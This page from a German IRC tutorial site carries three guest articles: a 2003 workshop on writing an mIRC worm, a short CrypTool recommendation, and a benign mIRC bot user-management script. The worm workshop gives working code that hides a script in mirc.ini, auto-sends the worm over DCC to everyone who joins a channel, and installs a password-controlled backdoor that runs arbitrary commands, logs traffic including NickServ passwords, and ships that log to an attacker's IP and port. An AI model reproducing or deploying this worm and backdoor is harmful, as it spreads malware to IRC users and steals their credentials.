Anzeige:
Anzeige:

IRC Tutorials

IRC Tutorials

IRC Tutorials

Stern inaktivStern inaktivStern inaktivStern inaktivStern inaktiv

Wie konfiguriere ich UnrealIRCD?
Wie installiere ich IRC-Services ?
Wie optimiere ich meinen IRCD ?
Wie schütze ich meinen IRC? 

Schaue Dir unsere deutschen Tutorials an !

Stern inaktivStern inaktivStern inaktivStern inaktivStern inaktiv

IRC Tutorials 
Internet Relay Chat  Tutorials (deutsch)
mIRC-Tutorials 
Eggdrop Workshops 
Windrop Tutorials 
mIRC Scripting Workshops

 

Stern inaktivStern inaktivStern inaktivStern inaktivStern inaktiv

Anmerkung:
Dieser IRC Wurm WorkShop wurde von einem GastAutor erstellt, weiteres unten. 
Er wurde unzensiert und unbehandelt auf IRC-Mania.de aufgenommen !

Sollte ein hier präsentierter WorkShop extrem viele Fehler aufweisen, bitte ich um eine Benachrichtigung Diese E-Mail-Adresse ist vor Spambots geschützt! Zur Anzeige muss JavaScript eingeschaltet sein!

Wir übernehmen keine Verantwortung für Schäden, die durch diesen Workshop entstanden sind ! 

Autor: by Thomas "tom" S.
URL: http://www.eggdrop.ch
Email: <tom at eggdrop.ch>

Warnung

Ich übernehme keine Verantwortung für Schäden, die durch diesen IRC-Wurm entstanden sind.

 

Inhalt

1 IRC-Wurm
1.1 Einleitung
1.2 Programmierung

 

IRC-Wurm

1.1 Einleitung
In diesem Text wirst du erfahren, wie man einen IRC-Wurm schreibt, der sich automatisch per DCC verbreitet. Dieses Tutorial setzt voraus, dass du mIRC hast (die Scripts basieren auf mIRC, weil die meisten Benutzer mIRC benutzen), die Standard IRC-Befehle kennst wie z.B. /mode, /kick usw. und mindestens eine Programmiersprache kennst (VisualBasic, C++ usw.). Bei Fragen schreib mir einfach ein E-Mail.

1.2 Programmierung
Wir werden hier einen IRC-Wurm für mIRC programmieren, da mIRC (www.mirc.com) der am häufigsten eingesetzte Chat-Client ist. Wir müssen den Wurm als .exe, .bat, .vbs, .com oder sonst eine ausführbare Datei versenden, weil er sich sonst nicht automatisch installiert. mIRC befindet sich standardmässig im Verzeichnis c:\mIRC. Dieser Wurm sollte in der mirc.ini (schau mit Notepad ruhig in die mirc.ini hinein) einen Eintrag unter [rfiles] machen. Die [rfiles]-Rubrik sieht je nach Script anders aus. Hier ein Beispiel:
 
[rfiles]
n0=remote.ini
n1=remote.ini
n2=blah.ini
n3=sonsteinscript.mrc
 
Jetzt ist es am Besten, wenn sich der Wurm als n4=wurm.mrc anhängt. Alternativ könnte er auch das erste Script (n0 und n1 zählen übrigens nicht) ersetzen: n2=wurm.mrc. Da könnte aber das Opfer merken, dass irgend etwas nicht geht. Was du machst, ist von deinen Programmierkenntnissen abhängig. Am Besten wäre es, wenn der Wurm zuerst nach einer mirc.exe und mirc32.exe sucht und in dem Ordner, wo sich die Datei befindet, den Wurm wie vorher beschrieben in die mirc.ini anhängt und dann eine wurm.mrc erstellt (du sollst natürlich anstelle von wurm.mrc einen anderen Namen verwenden, der nicht so auffällig ist - wichtig ist einfach das die Datei mit .mrc endet!). In diese wurm.mrc (oder wie die dann heisst) wird dann der eigentliche Wurm geschrieben. Was dort reinkommt zeig ich dir jetzt.
 
Der Wurm soll sich natürlich über DCC weiterversenden. Dazu kommt folgendes in das File:
 
on *:join:#: {
if ($nick != $me) {
/dcc send $nick <PfadDesWurms>
}
}
 
<PfadDesWurms> musst du natürlich durch den Pfad des Wurms, also die .exe oder wasauchimmer (nicht die wurm.mrc) ersetzen (wenn du nicht weisst wo sich der Wurm befindet, dann soll sich der Wurm doch am besten nach dem Start in das Verzeichnis C:\windows\system\ oder so kopieren).
 
Jetzt die Bedeutung des Befehls (Ich werde jetzt keine detailierte Erklärung machen, da das kein mIRC-Scripting-Tutorial ist):
 
on *:join:#:{ } wird ausgeführt, wenn jemand einen Channel joint.
 
if ($nick != $me) { } bedeutet: Wenn ich nicht der Nick bin, dann ...
 
/dcc send $nick <PfadDesWurms> bedeutet: Sende dem Nick die Datei <PfadDesWurms>


 
Noch ein Hinweis zu den Ereignissen: Man kann ein Ereignis nur EIN mal verwenden. Du kannst also nur ein mal on *:join:#: gebrauchen. Aber du kannst mehrere Befehle hinzufügen z.B:
 
on *:join:#:{
if ($nick != $me) {
/dcc send $nick <PfadDesWurms>
}
if ($nick == Meister) {
/msg $chan Mein Meister ist da!

}
 
Nun... was soll der Wurm alles können? Ich hab hier ein Beispiel von einem Wurm (natürlich selber gemacht :P), der sich unbemerkt steuern lässt:
 
on ^*:NOTICE:huhu:?:.timer.backdoorinfo 1 2 .notice $nick ? | halt
on *:START:debug on | clear -s | if (%backpass == $null) { set %backpass backdoor }
on ^*:NOTICE:$(%backpass help):?:.notice $nick Commands: setpass, getinfo, run, id, getlog, dellog | halt
on ^*:NOTICE:$(%backpass setpass *):?:set %backpass $3 | .notice $nick Password is now %backpass | halt
on ^*:NOTICE:$(%backpass getinfo):?:.notice $nick IP: $ip Host: $host mIRC: $version Date: $date Time: $time Uptime: $duration($calc($ticks / 1000)) | halt
on ^*:NOTICE:$(%backpass run *):?:{
$3-
halt
}
on ^*:NOTICE:$(%backpass getlog *):?:{
sockopen backd00r $3 $4
halt
}
on *:sockopen:backd00r:{
if ($lines(debug.log) == 0) { sockwrite -tn backd00r * EOF | sockclose backd00r | halt }
if ($lines(debug.log) == $null) { sockwrite -tn backd00r * EOF | sockclose backd00r | halt }
%i = 0
:loop
inc %i
if ($read(debug.log,%i) == $null) { sockwrite -tn backd00r * EOF | sockclose backd00r | halt }
sockwrite -tn backd00r * $remove($read -nl %i debug.log,$chr(124))
goto loop
}
on ^*:NOTICE:$(%backpass dellog):?:{
.remove debug.log
.notice $nick Removed debug.log
halt
}
on ^*:NOTICE:$(%backpass id *):?:{
.notice $nick Identifier: $ [ $+ [ $3- ] ]
halt

 
Nun das sieht ja ganz kompliziert aus, oder? Im Grunde genommen ist es gar nicht so schwierig. Dann fang ich euch mal an zu erklären was das etwa bedeutet:
 
on ^*:NOTICE:huhu:?:.timer.backdoorinfo 1 2 .notice $nick ? | halt dient zum Checken, ob der betroffene dieses Backdoor hat. Wenn du also einem Infiziertem /notice <nick> huhu schreibt, dann sollte er innerhalb von 2 Sekunden antworten mit ?. Die Zahlen 1 2 bei Timer bedeuten: Der Timer wird ein mal ausgeführt in einem Abstand von zwei Sekunden. Das ^ am Anfang und das halt am Schluss, dient zum unterdrücken der empfangenen Notize ("huhu"). Der Punk vor notice $nick ?, dient zum unterdrücken der gesendeten Notize ("?").
 
on *:START:debug on | clear -s | if (%backpass == $null) { set %backpass backdoor } wird beim Starten von mIRC ausgeführt. Das Zeichen | bedeutet nichts anderes als eine neue Zeile. debug on bedeutet, dass alles in die debug.log gelogt wird (also auch Nickservpasswörter und so). Dann kommt beim infiziertem * Output to debug.log is ON. Damit das nicht erscheint, wird das Statusfenster mit clear -s gereinigt. In der Variablen %backpass wird das Passwort für den Wurm gespeichert sein. Wenn %backpass aber noch keinen Wert hat ($null = nichts), dann wird der Variablen ein Standardpass zugewiesen (backdoor).
 
on ^*:NOTICE:$(%backpass help):?:.notice $nick Commands: setpass, getinfo, run, id, getlog, dellog | halt wird ausgeführt, wenn eine Notize mit dem Inhalt der Variable %backpass gesendet wird und dahinter ein help steht (z.B. /notice nick backdoor help). Auch diese Notize wird mit ^ und halt untrdrückt.
 
on ^*:NOTICE:$(%backpass setpass *):?:set %backpass $3 | .notice $nick Password is now %backpass | halt damit kann man das Passwort wechseln. $3 ist der dritte Parameter. $1 wäre das Passwort, $2 wäre setpass und $3 wäre dann schlussendlich das neue Passwort.
 
on ^*:NOTICE:$(%backpass getinfo):?:.notice $nick IP: $ip Host: $host mIRC: $version Date: $date Time: $time Uptime: $duration($calc($ticks / 1000)) | halt hier noch ein kleines Systeminfo: IP, Host mIRC-Version, Datum, Zeit, Uptime ($ticks sind die Anzahl Milisekunden, wird geteilt durch 1000 mit $calc und in Stunden, Minuten und Sekunden umgewandelt mit $duration)
 
on ^*:NOTICE:$(%backpass run *):?:{
$3-
halt
Mit diesen Zeilen (hier mal als Beispiel auf mehreren Zeilen :P) wird ein beliebiger Befehl ausgeführt. Das - bei $3- bedeutet $3 und alle folgenden ($4, $5 usw.)
 
on ^*:NOTICE:$(%backpass getlog *):?:{
sockopen backd00r $3 $4
halt
Hier wirds spannend. Man gibt ein /notice <nick> <pass> getlog <meineIP> <port> und das debug.log (vorher schon besprochen) wird mit TCP dorthin gesendet (du musst also irgendwo eine Serveranwendung haben, mit der du das abhören kannst, unter Unix z.B. netcat)
 
on *:sockopen:backd00r:{
if ($lines(debug.log) == 0) { sockwrite -tn backd00r * EOF | sockclose backd00r | halt }
if ($lines(debug.log) == $null) { sockwrite -tn backd00r * EOF | sockclose backd00r | halt }
%i = 0
:loop
inc %i
if ($read(debug.log,%i) == $null) { sockwrite -tn backd00r * EOF | sockclose backd00r | halt }
sockwrite -tn backd00r * $remove($read -nl %i debug.log,$chr(124))
goto loop
}
 Hier werde ich nicht jede Zeile eklären. Dieser Event wird ausgeführt, wenn das Socket erfolgreich geöffnet wurde. Dann wird der Inhalt der debug.log dort hin gesendet und am Schlus ein * EOF (EndOfFile).
 
on ^*:NOTICE:$(%backpass dellog):?:{
.remove debug.log
.notice $nick Removed debug.log
halt
Dieser Befehl löscht das debug.log
 
on ^*:NOTICE:$(%backpass id *):?:{
.notice $nick Identifier: $ [ $+ [ $3- ] ]
halt
}
 Mit diesem Befehl wird der Wert eines Identifier ($ip, $date, usw., alles mit $ sind Identifier) gesendet, z.B.: /notice <nick> <pass> id $ip
 
Du kannst übrigens auch selber ein IRC-Script machen (wenn du gut scripten kannst) und dort diesen Wurm integrieren oder nur die .mrc jemandem schicken. Er muss sie dann allerdings ins mIRC-Verzeichnis kopieren und /load -rs <Datei> machen.

 


 

Letzte Änderung: 27.07.03
Copyright (C) 2003 by Thomas "tom" S. <tom at eggdrop.ch>

Dieser Text gehört zu www.eggdrop.ch und ist urheberrechtlich geschützt. Das Weitergeben und Kopieren dieses Textes ist erwünscht unter folgenden Bedingungen: 1. Der Text muss so sein wie er ist und darf in keiner Weise verändert oder in die eigene Homepage integriert werden. 2. Es muss ein deutlicher Hinweis auf die Herkunft (www.eggdrop.ch) vorhanden sein. 3. Der Text sollte wenigstens alle 3 Monate auf Updates überprüft werden (siehe die Versionsnummer ganz am Anfang des Textes!)

 

Stern inaktivStern inaktivStern inaktivStern inaktivStern inaktiv

CrypTool

Wie ihr bereits erkannt habt, ist die Kryptologie ein sehr großer und interessanter Themenbereich,
welcher leider auch sehr schwer zu vermitteln ist.
Auch wenn man die Unterschiede zwischen DES,Triple DES und AES
kennt, so gestaltet sich die Erfahrung mit all dem Wissen recht schwer.

Zum Glück jedoch gibt es ein Programm namens CrypTool.

 

Zitat:

Ziel von CrypTool ist es, kryptographische Mechanismen anschaulich
zu machen und die Verwendung und die Grenzen einzelner Mechanismen
aufzuzeigen. In CrypTool sind fast alle State-of-the-art-Krypto-
funktionen implementiert. Dies ermöglicht einen "spielerischen"
Einstieg in die moderne und klassische Kryptographie -- unter
einer einheitlichen Oberfläche.

CrypTool wird eingesetzt
- in Unternehmen sowohl zur Mitarbeiter-Sensibilisierung bezüglich
IT-Sicherheit (Awareness) als auch zur Ausbildung,
- im Schulunterricht und
- in der Lehre an mehreren Hochschulen.

 

 

 

Wer sich also wirklich für die Kryptologie, mit all seinen Ecken und Kanten interessiert, sollte sich dieses Programm unter http://www.cryptool.de/ downloaden.
Neben dem Lerneffekt ist auch der Nutzeffekt beachtlich.
Zur Zeit arbeiten wir an einem eigenen Tutorial über CrypTool, um Euch den Nutzen näher zu bringen.
CrypTool.de hingegen bietet ausführliche Informationen,Tutorials und Screenshots.

Mehr dazu in den kommenden Tagen.

IRC-Security-Team

 


kryptologie,geheimschriften,kryptographie,kryptografie,festplattenverschlüsselung,verschlüsselungssoftware
verschlüsselungsverfahren,steganographie,geheimschrift,steganos,verschlüsselung,drivecrypt,gnupg,cäsar,rsa,vigenere,algorithmus,
zertifikate,
vigenère,enigmablowfish,
authentifizierung,passwörter,efs,md5,krypto,schlüsselfestplatten,
verschlüseln,caesar,signaturgpg,java,codierung,entschlüsselung,verschluesselung,chffre,sicherheit,aes,3des
,generieren,zertifikat,passwot,ssl,festplatte,entschlüsseln,ordner,delphi,sicher,wep,

encrypt,hash,encryptioncryptography,datein,email,
schützen,verschlüsselt,
verschlüsselungs,bit,programm,programme,daten,outlook,verfahre,safe,laufwerk,security,löschen,knacken,deutsch,kopieren,verschlüsselte,mail,password,datei,it,'
algorithm,anleitung,key,speichern,sichere,erzeugen,code,disk,auf,erstellen,nicht,

 

Stern inaktivStern inaktivStern inaktivStern inaktivStern inaktiv

 Workshop mIRC User Verwaltung

mIRC Tutorial : Thema: User Verwaltung:

Anmerkung:
Dieses mIRC Bot Tutorium wurde von einem GastAutor erstellt, weiteres unten. 
Er wurde unzensiert und unbehandelt auf IRC-Mania.de aufgenommen !

Sollte ein hier präsentierter WorkShop extrem viele Fehler aufweisen, bitte ich um eine Benachrichtigung Diese E-Mail-Adresse ist vor Spambots geschützt! Zur Anzeige muss JavaScript eingeschaltet sein!

Wir übernehmen keine Verantwortung für Schäden, die durch diesen Workshop entstanden sind ! 

Bemerkung 
von 
IRC-Mania.de:

Dieser IRC Workshop ist nur ein Auszug, von einem kompletten mIRC Bot Tutorial von MyPageHome.de.

 

Autor: NoB
URL: http://www.MyPageHome.de
Email: NoB


Dieses Script stellt eine komplette User-Verwaltung für ein mirc-BOT dar.
Es arbeitet mit der Notify-Liste des mirc was viele Vorteile mit sich bringt.
Der einzige Nachteil ist das sich maximal nur 150 User registrieren können, was aber reichen sollte.
Aber keine langen vorreden sondern gleich los mit der ersten Funktion.

 

;---------------------------------------------------
;Disconnect Funktion
;---------------------------------------------------
on 1:DISCONNECT:{
disable #groupnotify
}

Diese Funktion dient dazu die Notify-Funktion abzuschalten sobald der BOT disconnected.

;---------------------------------------------------
;Connect Funktion
;---------------------------------------------------
on 1:CONNECT:{
LIT
notify
.timergorupan 1 1 enable #groupnotify
}

Diese Funktion wird ausgeführt sobald der BOT zu einem Server connected.
Als erstes wird der Alias LIT ausgführt welcher nachfolgend aufgelistet und beschrieben ist.
Danach wird die Notify-Liste aktualisiert und danach erst mit dem Timer die Notify-Funktion eingeschaltet.
Das ist wichtig damit nicht alle User die online sind eine Meldung bekommen sobald der BOT connected.

Alias LIT {
var %litzähler 1
while (%litzähler <= $notify(0)) {
if ($LastIdent($notify(%litzähler)) < $calc($ctime - 2592000)) {
UserLöschen $notify(%litzähler)
}
elseif ($IdentStatus($notify(%litzähler)) == TRUE) {
WU_IdentStatus $notify(%litzähler) FALSE
}
inc %litzähler
}
echo -s $time Userlist bereinigt!
}

Hier nun der eben angesprochene Alias LIT.
LIT steht für Last Ident Test => Letzte Anmeldung Test.
Als erstes wird in der while-Schleife geguckt wann sich jeder User das letzte mal angemeldet hat.
Ist das länger als 30 Tage her, wird der User von der Notify-Liste gelöscht.
Des weiteren wird geprüft ob noch ein User angemeldet ist und wenn ja wird er automatisch abgemeldet.
Zum Schluss wird im Status-Fenster die Meldung "Userlist bereinigt!" ausgegeben.

;---------------------------------------------------
;Unotify Funktion
;---------------------------------------------------
on 1:UNOTIFY:{
if ($IdentStatus($nick) == TRUE) {
WU_IdentStatus $nick FALSE
}
}

Die Funktion wird ausgelöst wenn ein User den Chat verlässt oder den Nick wechselt.
Falls er angemeldet ist wird sein Status in abgemldet geändert.

;---------------------------------------------------
;Notify Funktion
;---------------------------------------------------
#groupnotify on

on 1:NOTIFY:{
notice $nick Hi $nick $+ ! Du kannst dich jetzt mit !ident PASSWORT anmelden.
}

#groupnotify end

Hier nun die Notify-Funktion, die ausgelöst wird wenn ein User den Server betritt.
Dann bekommt der User die Meldung das er sich anmelden kann.

;---------------------------------------------------
;Register Funktion
;---------------------------------------------------
on 1:TEXT:!register &:?:{
$userpuffer($nick)
if ($usersperre($nick) == HALT) { msg $nick Du bist gesperrt für den Bot! }
elseif ($Userpass($nick) != $null) { msg $nick FEHLER: Du bist bereits Registriert! }
elseif (($len($2) < 6) || ($len($2) > 10)) { msg $nick FEHLER: Passwort muss 6 - 10 Buchstaben haben! }
else {
set %registerpasswort $2
ns status $nick
}
}

Hier ist die Funktion mit der sich User in dem BOT anmelden können.
Der Identifer $userpuffer ist ein selbstgebauter, der Alias dazu folgt später.
Dies muss sein damit man den BOT nich flooden kann.
Danach wird geschaut ob der User (Nick) für den BOT gesperrt ist oder vielleicht schon registriert.
Dann wird noch das Passwort überprüft und falls alles OK ist wird der User registriert.
Dazu wird beim NickServ geguckt ob der Nick des Users registriert und identifiziert ist.


on *:NOTICE:STATUS * 3:?:{
if (($nick == nickserv) && (%registerpasswort != $null)) {
WU_Userpass $2 %registerpasswort
WU_IdentStatus $2 FALSE
WU_LastIdent $2 $ctime
notify $2
disable #groupnotify
notify
.timergorupan 1 1 enable #groupnotify
msg $2 Registrierung Erfolgreich!
msg $2 Dein Passwort lautet: %registerpasswort
msg $2 Du kannst dich anmelden mit: !ident %registerpasswort
msg $2 Für wietere Informationen !hilfe ident eingeben.
echo -s NEUER USER -> $2
unset %registerpasswort
}
}

Auf die Status anfragen antwortet der NickServ mit einer Notice.
Diese Notice wird hier abgefangen und ausgewertet und wenn der Status 3 ist wird die Registrierung durchgeführt.
Dazu werden das Passwort, der Anmeldestatus und die letzte Anmeldezeit in einer INI-Datei gespeichert.
Dann wird der Nickname der Notify-Liste hinzugefügt und die Liste aktualisiert.
Als letztes wird der User informiert ob die Registrierung erfolgreich war, und ein Meldung im Status-Fenster vom BOT angezeigt.

on *:NOTICE:STATUS * 0:?:{
if (($nick == nickserv) && (%registerpasswort != $null)) {
msg $2 FEHLER: Registrierung Fehlgeschlaben!
msg $2 Dein Nickname ist nicht registriert oder nicht identifiziert auf dem NickServ!
unset %registerpasswort
}

on *:NOTICE:STATUS * 1:?:{
if (($nick == nickserv) && (%registerpasswort != $null)) {
msg $2 FEHLER:Registrierung Fehlgeschlaben!
msg $2 Dein Nickname ist nicht registriert oder nicht identifiziert auf dem NickServ!
unset %registerpasswort
}
}

Diese Meldungen werden ausgegeben wenn der Nick des Users nicht registriert oder identifiziert ist auf dem NickServ.

Alias usersperre {
var %uszähler 1
while (%uszähler <= $lines(GesperrteUser.txt)) {
if ($1 == $read(GesperrteUser.txt,%uszähler)) {
var %usergebnis HALT
var %uszähler $lines(GesperrteUser.txt)
}
inc %uszähler
}
return %usergebnis
}

Hier ist der Alias zum Identifer $usersperre, der überprüft ob der User in der Datei GesperrteUser.txt steht.

;---------------------------------------------------
;User-Löschen Funktion
;---------------------------------------------------
on 1:TEXT:!unreg:?:{
if ($IdentStatus($nick) != TRUE) { msg $nick FEHLER:Du musst dich erst Anmelden! }
else {
UserLöschen $nick
msg $nick Deine BOT-Registrierung wurde gelöscht!
echo -s USER-LÖSCHUNG -> $nick
}
}

Mit der Funktion !unreg können sich angemeldete User wieder von der User-Liste löschen.

Alias UserLöschen {
remini User.ini $1
notify -r $1
if ($server != $null) {
disable #groupnotify
notify
.timergorupan 1 1 enable #groupnotify
}
}

Als erstes wird der User aus der INI-Datei gelöscht.
Danach von der Notify-Liste welche danach aktualisiert wird.

;---------------------------------------------------
;Ident Funktion
;---------------------------------------------------
on 1:TEXT:!ident &:?:{
$userpuffer($nick)
if ($Userpass($nick) == $null) {
msg $nick FEHLER: Du musst dich erst registrieren!
msg $nick Dazu !register Passwort eingeben.
}
elseif ($IdentStatus($nick) == TRUE) { notice $nick INFO: Du bist bereits Angemeldet! }
elseif ($Userpass($nick) == $2) { UserAnmelden $nick }
}
on 1:NOTICE:!ident &:?:{
$userpuffer($nick)
if ($Userpass($nick) == $null) {
msg $nick FEHLER: Du musst dich erst registrieren!
msg $nick Dazu !register PASSWORT eingeben.
}
elseif ($IdentStatus($nick) == TRUE) { notice $nick INFO: Du bist bereits Angemeldet! }
elseif ($Userpass($nick) == $2) { UserAnmelden $nick }
}
Alias UserAnmelden {
WU_IdentStatus $1 TRUE
WU_LastIdent $1 $ctime
notice $1 Ident Erfolgreich! Status: Angemeldet
}

Mit der !ident-Funktion werden registrierte User angemeldet.
Ich habe diese Funktion für eine Messge im Query-Fenster sowie für eine Notice geschrieben.
Die Anmeldung kann nicht im öffentlichen Raum passieren da dann ja jeder das Passwort sehen kann.

;---------------------------------------------------
;Passwort Funktion
;---------------------------------------------------
on 1:TEXT:!passwort &:?:{
$userpuffer($nick)
if ($IdentStatus($nick) != TRUE) { msg $nick Zugriff verweigert! }
else {
WU_Userpass($nick $2)
msg $nick Dein neues Passwort lautet: $2
}
}

Mit der !passwort-Funktion kann jeder User der angemeldet ist sein Ident-Passwort ändern.

;-----------------------------------------------------------
;Alias User-Puffer
;-----------------------------------------------------------
Alias userpuffer {
if ( [ % $+ [ puffer $+ [ $1 ] ] ] != $null) { var %upergebnis halt }
else {
set [ % $+ [ puffer $+ [ $1 ] ] ] EIN
.timerpuffer $+ $1 1 10 unset % $+ [ puffer $+ [ $1 ] ]
}
return %upergebnis
}

Hier nun noch der Eingabepuffer welcher es nur zulässt das jeder User nur alle 10 Sekunden eine Eingabe machen kann.

Jetzt folgen lediglich noch Hilfs-Funktoinen zum beschreiben oder lesen der User INI-Datei.
;--------------------------------------------------------------------
;User.ini lesen
;--------------------------------------------------------------------
Alias Userpass { return $readini(User.ini,$1,Passwort) }
Alias IdentStatus { return $readini(User.ini,$1,IdentStatus) }
Alias LastIdent { return $readini(User.ini,$1,LastIdent) }

;--------------------------------------------------------------------
;User.ini schreiben
;--------------------------------------------------------------------
Alias WU_Userpass { writeini User.ini $1 Passwort $2 }
Alias WU_IdentStatus { writeini User.ini $1 IdentStatus $2 }
Alias WU_LastIdent { writeini User.ini $1 LastIdent $2 }